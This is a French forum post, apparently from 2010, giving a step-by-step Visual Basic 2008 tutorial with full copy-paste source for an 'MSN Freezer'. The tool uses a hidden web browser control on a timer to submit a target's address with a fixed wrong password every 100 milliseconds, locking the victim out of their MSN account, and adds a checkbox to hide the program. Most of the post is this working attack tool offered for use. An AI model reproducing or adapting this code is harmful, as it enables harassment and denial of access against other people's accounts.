Ceriize
Messages: 16
Date d'inscription: 19/04/2010
 |  Sujet: [VB2008] Crée msn freezer en vb.net Mer 21 Avr - 10:48 | |
| Bonjour,
Qu'allons-nous
faire?
- Réaliser un Freezer MSN.
Que signifie un FreeZer MSN
?
- Faire un gel de compte MSN et le compte MSN ne peut pas est
consultable.
Quel programme dois-je faire un Freezer MSN?
-
Pour ce TUTO vous aurez besoin Visual basic 2008
Ok let's start
-
Ouvrez Visual Basic 2008
- Ouvrir de nouveaux projets et appeler le
comme vous voulez
- Faire 1 TextBox
- Faire une case à cocher avec
le texte "Hide" qui permettra de cacher le logiciel.
- Faites 2
boutons avec le texte "Freeze" et "UnFreeze"
- Faire un WebBrowser
avec FALSE sur visible et l'url :
"http://mobile.msn.com/hm/folder.phpx".
- Mettez 3labels avec label1
avec le texte "MSN Address", Label2: "Statut" et le dernier avec «rien».
-
Faire un Timer avec setEnabled FALSE et Réglez l'intervalle 100.
-
Maintenant, double-cliquez sur la form et supprimer tout le texte
Copiez
et collez ceci: | Code: |
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
GoTo done
errordetected:
Label3.Text = "Freez!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFreeze! Il faudra attendre quelques temps pour que l'adresse msn ne soit plus freez ! (5à10min)")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class
|
Maintenant vous pouvez construire le programme et l'utiliser
comme un MSN Freezer !!
Personnellement je vous conseille de
ne pas mettre de label pour l'adresse MSN mettais le texte dans le
Textbox. Juste un label pour le status. Et n'oublier pas la checkBox
pour le Hide =)
En gros sa donne sa (Désolé du Disign je l'ai
fait juste pour faire montrer a quoi sa ressemble) :
Source
: moi
.
Bonne journée/soirée et
Enjoy !
|
|
